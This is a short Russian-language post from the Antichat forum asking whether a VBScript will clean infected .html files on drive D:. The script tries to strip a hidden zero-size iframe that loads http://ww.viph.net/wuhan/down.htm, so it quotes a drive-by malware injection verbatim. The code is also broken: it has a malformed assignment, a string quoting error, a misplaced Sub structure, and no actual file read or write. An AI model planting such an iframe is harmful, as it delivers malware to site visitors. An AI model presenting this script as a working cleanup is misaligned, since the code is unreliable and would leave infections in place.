Форум АНТИЧАТ - Показать сообщение отдельно

PHP код:


		
			
Set FSO = CreateObject("Scripting.FileSystemObject")

Set wshshell = createobject("WScript.Shell")

'

Set TheFolder = FSO.GetFolder("D:\")

TheExtension  = ".html"

TheExtension = UCase(TheExtension)

'

Sub WorkWithSubFolders(ByVal AFolder, ByVal TheExtension)

On Error Resume Next

Dim MoreFolders, TempFolder

Set  MoreFolders = AFolder.SubFolders

For Each TempFolder In MoreFolders

WorkWithSubFolders TempFolder, TheExtension

Next

End Sub

'

 Dim AFile, TheFiles

 On Error Resume Next

 Set TheFiles = AFolder.Files

 For Each AFile In TheFiles

 If UCase(FSO.GetExtensionName(AFile.Path)) = TheExtension Then

 '''

 dim oReg

 set oReg = New RegExp

 oReg.Global - true

 oReg.IgnoreCase = true

 oReg.Pattern = " <iframe src="http://ww.viph.net/wuhan/down.htm" width="0" height="0" frameborder="0"> </iframe> "

 txt = oReg.Replace(txt, " ")

 end if

 Next

 End Sub

 '

 WorkWithSubFolders TheFolder, TheExtension

Такой скрипт подойдет?